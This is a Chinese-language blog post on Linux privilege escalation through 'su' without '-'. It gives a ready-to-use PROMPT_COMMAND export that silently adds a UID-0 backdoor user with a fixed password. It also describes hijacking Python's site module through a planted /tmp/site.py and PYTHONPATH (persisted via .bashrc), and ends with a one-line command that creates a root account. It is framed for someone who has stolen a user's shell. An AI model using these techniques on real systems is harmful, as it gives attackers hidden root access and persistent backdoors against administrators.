最新消息:

利用python特性或bash提权

linux admin 5960浏览 0评论

ps:下面讲的特权技巧只要利用的是用户在切换到root用户时,使用的是su命令,而没有使用su – 命令。如果用户切换到root用户时使用su -命令,或者该用户从不切换到root用户,那么下面讲的提权技巧是无用的。

su 与 su – 命令的区别:
su 是切换到其他用户,但是不切换环境变量(比如说那些你用export命令查看一下,就知道两个命令的区别了)。su – 是完整的切换到一个用户环境,环境变量是新用户的环境变量。

正是利用su 切换到root用户时不切换环境变量,可以修改当前普通用户的环境变量,当用户转到root时,命令就会以root权限运行来添加用户。

利用BASH提权的技巧

要利用成功的话,还得看管理员的习惯,是否喜欢用su切换成root

看个BASH的环境变量$PROMPT_COMMAND

这个变量保存了在主提示符$显示之前需要执行的命令.

export PROMPT_COMMAND="/usr/sbin/useradd -o -u 0 kkoo &>/dev/null && echo kkoo:123456 | /usr/sbin/chpasswd &>/dev/null && unset PROMPT_COMMAND"

看图:

jinglingshu_2014-09-09_03-41-48

随后你用su变成root,看看是否多了个用户呢

也可以建立用户删除不了的文件
比如,用户想删除某个,你在prompt_command里面加入cp命令,每次他执行完del都会又cp一个过去

具体怎么应用看你自己了

利用python特性进行提权

不管是偷也好,抢也罢,弄到一个普通用户的账户shell

看下他的使用习惯

jinglingshu_2014-09-09_03-41-46

嘿嘿,又是一个用su不用su – 的,之前我写过一个利用bash特性提权的文章大家可以去搜搜,今天讲python

OK,我们来看下python默认会加载哪些模块。

jinglingshu_2014-09-09_03-41-50

我把结果到出到test.txt里面了,里面有一堆模块会被自动加载。我这里选个site模块做实验好了。通过环境来劫持它的加载。

python默认先找PYTHONPATH路径里的模块名,而模块顶级代码会在加载时自动执行,这也是为什么我这个方法能够利用的原因。

自己写一个site.py文件放到/tmp目录里面。
jinglingshu_2014-09-09_03-41-48
呵呵,在这里我执行了添加用户的操作,然后删除/tmp路径,重新加载site。方法可能有点笨啊,有直接重新加载的告诉我声,貌似用reload不行哈

好了,现在我们来设置环境变量PYTHONPATH这里我就直接export,实战中应该要修改.bashrc啥啥的。
jinglingshu_2014-09-09_03-41-501
现在模拟该用户登录,然后执行任意一个python程序来看看结果
jinglingshu_2014-09-09_03-41-47
很猥琐,但是成功了,需要注意的是,不同版本的python默认加载的模块还不一样,大家需要自己用python -v 分析,还有一点,尽量加载无关紧要的模块,这样成功几率更大些。

 

ps:如果想测试上面的内容,但是自己的虚拟机中的linux没有启用root用户的话,可以通过sudo passwd root命令来启用root用户。

同时通过上面的例子我们可以得到非交互式添加管理员用户的命令:

/usr/sbin/useradd -o -u 0 hello &>/dev/null && echo hello:123456 | /usr/sbin/chpasswd &>/dev/null

参考资料:

1、利用python特性进行提权

2、利用BASH提权的技巧

转载请注明:jinglingshu的博客 » 利用python特性或bash提权

发表我的评论
取消评论

表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

网友最新评论 (1)

  1. 用su root会继承原先用户的环境变量,而su - root则不会继承原先用户的环境变量
    admin9年前 (2016-02-26)回复